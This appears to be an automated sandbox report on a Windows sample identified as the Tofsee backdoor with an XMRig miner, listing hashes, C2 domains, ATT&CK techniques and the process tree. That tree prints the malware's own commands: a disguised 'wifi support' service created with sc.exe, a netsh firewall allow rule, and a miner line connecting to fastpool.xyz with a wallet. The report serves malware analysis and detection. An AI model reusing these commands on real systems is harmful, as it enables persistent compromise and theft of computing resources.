Analysis

  • max time kernel
    145s
  • max time network
    153s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230220-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system
  • submitted
    27-04-2023 17:30

General

  • Target

    03b961537434ed16b110e1187856d6fd83887488126e6f36627beff091b1eb72.exe

  • Size

    299KB

  • MD5

    45745cc2b7e41ad2e663e73112e1d4eb

  • SHA1

    27a58c48caedeb235a046e8657c9f05df829a585

  • SHA256

    03b961537434ed16b110e1187856d6fd83887488126e6f36627beff091b1eb72

  • SHA512

    d40f981d7d7bdb8f60db4746f27cb7d4639b181f98e7c1664a8d8c37af95353491bb80a7c75557379e9138256e2398ac90b5e48d02665f11024b54a7d471f805

  • SSDEEP

    6144:C/SlLSuD8yVmbWuM3XPbRO0uQj9JKO48a:CKlG/ykipXI0ljK8

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 8 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\03b961537434ed16b110e1187856d6fd83887488126e6f36627beff091b1eb72.exe
    "C:\Users\Admin\AppData\Local\Temp\03b961537434ed16b110e1187856d6fd83887488126e6f36627beff091b1eb72.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4296
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\xaigtqk\
      2⤵
        PID:4636
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\zyxyzjlo.exe" C:\Windows\SysWOW64\xaigtqk\
        2⤵
          PID:2844
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create xaigtqk binPath= "C:\Windows\SysWOW64\xaigtqk\zyxyzjlo.exe /d\"C:\Users\Admin\AppData\Local\Temp\03b961537434ed16b110e1187856d6fd83887488126e6f36627beff091b1eb72.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:3056
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description xaigtqk "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:956
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start xaigtqk
          2⤵
          • Launches sc.exe
          PID:3988
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:232
      • C:\Windows\SysWOW64\xaigtqk\zyxyzjlo.exe
        C:\Windows\SysWOW64\xaigtqk\zyxyzjlo.exe /d"C:\Users\Admin\AppData\Local\Temp\03b961537434ed16b110e1187856d6fd83887488126e6f36627beff091b1eb72.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:2492
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:2104
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:2948

      Network

      MITRE ATT&CK Matrix ATT&CK v6

      Persistence

      New Service

      1
      T1050

      Modify Existing Service

      1
      T1031

      Registry Run Keys / Startup Folder

      1
      T1060

      Privilege Escalation

      New Service

      1
      T1050

      Defense Evasion

      Modify Registry

      1
      T1112

      Discovery

      Query Registry

      1
      T1012

      System Information Discovery

      2
      T1082

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Temp\zyxyzjlo.exe
        Filesize

        14.4MB

        MD5

        0bcbc252992ef9270a7c4a5c3cc99ace

        SHA1

        58fe3e849243201081882c78325464e47d7cb1df

        SHA256

        44bf04c15e9890e3afb8042c6dde62fa8eaee7e21fed0b7dcff14f8e4c3be17f

        SHA512

        af40814b625dd4442af9541e22dc3d23a7d3bb36f41d4f9a5f9a74b8ef35fb0b538e22d6bf7f349f11d4f0ae282df956c6a22d592fdae6c551ad48d3b601e7a9

      • C:\Windows\SysWOW64\xaigtqk\zyxyzjlo.exe
        Filesize

        14.4MB

        MD5

        0bcbc252992ef9270a7c4a5c3cc99ace

        SHA1

        58fe3e849243201081882c78325464e47d7cb1df

        SHA256

        44bf04c15e9890e3afb8042c6dde62fa8eaee7e21fed0b7dcff14f8e4c3be17f

        SHA512

        af40814b625dd4442af9541e22dc3d23a7d3bb36f41d4f9a5f9a74b8ef35fb0b538e22d6bf7f349f11d4f0ae282df956c6a22d592fdae6c551ad48d3b601e7a9

      • memory/2104-166-0x0000000002940000-0x0000000002950000-memory.dmp
        Filesize

        64KB

      • memory/2104-179-0x00000000029D0000-0x00000000029D5000-memory.dmp
        Filesize

        20KB

      • memory/2104-140-0x0000000000F30000-0x0000000000F45000-memory.dmp
        Filesize

        84KB

      • memory/2104-167-0x0000000002940000-0x0000000002950000-memory.dmp
        Filesize

        64KB

      • memory/2104-143-0x0000000000F30000-0x0000000000F45000-memory.dmp
        Filesize

        84KB

      • memory/2104-144-0x0000000000F30000-0x0000000000F45000-memory.dmp
        Filesize

        84KB

      • memory/2104-145-0x0000000000F30000-0x0000000000F45000-memory.dmp
        Filesize

        84KB

      • memory/2104-146-0x0000000000F30000-0x0000000000F45000-memory.dmp
        Filesize

        84KB

      • memory/2104-147-0x0000000000F30000-0x0000000000F45000-memory.dmp
        Filesize

        84KB

      • memory/2104-149-0x0000000003000000-0x000000000320F000-memory.dmp
        Filesize

        2.1MB

      • memory/2104-152-0x0000000003000000-0x000000000320F000-memory.dmp
        Filesize

        2.1MB

      • memory/2104-153-0x00000000025F0000-0x00000000025F6000-memory.dmp
        Filesize

        24KB

      • memory/2104-156-0x0000000002940000-0x0000000002950000-memory.dmp
        Filesize

        64KB

      • memory/2104-159-0x0000000002940000-0x0000000002950000-memory.dmp
        Filesize

        64KB

      • memory/2104-160-0x0000000002940000-0x0000000002950000-memory.dmp
        Filesize

        64KB

      • memory/2104-168-0x0000000002940000-0x0000000002950000-memory.dmp
        Filesize

        64KB

      • memory/2104-162-0x0000000002940000-0x0000000002950000-memory.dmp
        Filesize

        64KB

      • memory/2104-163-0x0000000002940000-0x0000000002950000-memory.dmp
        Filesize

        64KB

      • memory/2104-164-0x0000000002940000-0x0000000002950000-memory.dmp
        Filesize

        64KB

      • memory/2104-165-0x0000000002940000-0x0000000002950000-memory.dmp
        Filesize

        64KB

      • memory/2104-184-0x00000000029E0000-0x00000000029E7000-memory.dmp
        Filesize

        28KB

      • memory/2104-183-0x0000000007F80000-0x000000000838B000-memory.dmp
        Filesize

        4.0MB

      • memory/2104-161-0x0000000002940000-0x0000000002950000-memory.dmp
        Filesize

        64KB

      • memory/2104-170-0x0000000002940000-0x0000000002950000-memory.dmp
        Filesize

        64KB

      • memory/2104-171-0x0000000002940000-0x0000000002950000-memory.dmp
        Filesize

        64KB

      • memory/2104-169-0x0000000002940000-0x0000000002950000-memory.dmp
        Filesize

        64KB

      • memory/2104-172-0x0000000002940000-0x0000000002950000-memory.dmp
        Filesize

        64KB

      • memory/2104-173-0x0000000002940000-0x0000000002950000-memory.dmp
        Filesize

        64KB

      • memory/2104-174-0x0000000002940000-0x0000000002950000-memory.dmp
        Filesize

        64KB

      • memory/2104-175-0x0000000002940000-0x0000000002950000-memory.dmp
        Filesize

        64KB

      • memory/2104-176-0x00000000029D0000-0x00000000029D5000-memory.dmp
        Filesize

        20KB

      • memory/2104-180-0x0000000007F80000-0x000000000838B000-memory.dmp
        Filesize

        4.0MB

      • memory/2492-141-0x0000000000400000-0x00000000004C7000-memory.dmp
        Filesize

        796KB

      • memory/2948-198-0x0000000000800000-0x00000000008F1000-memory.dmp
        Filesize

        964KB

      • memory/2948-188-0x0000000000800000-0x00000000008F1000-memory.dmp
        Filesize

        964KB

      • memory/2948-193-0x0000000000800000-0x00000000008F1000-memory.dmp
        Filesize

        964KB

      • memory/2948-194-0x0000000000800000-0x00000000008F1000-memory.dmp
        Filesize

        964KB

      • memory/2948-195-0x0000000000800000-0x00000000008F1000-memory.dmp
        Filesize

        964KB

      • memory/2948-196-0x0000000000800000-0x00000000008F1000-memory.dmp
        Filesize

        964KB

      • memory/2948-197-0x0000000000800000-0x00000000008F1000-memory.dmp
        Filesize

        964KB

      • memory/2948-199-0x0000000000800000-0x00000000008F1000-memory.dmp
        Filesize

        964KB

      • memory/4296-139-0x0000000000400000-0x00000000004C7000-memory.dmp
        Filesize

        796KB

      • memory/4296-135-0x0000000000760000-0x0000000000773000-memory.dmp
        Filesize

        76KB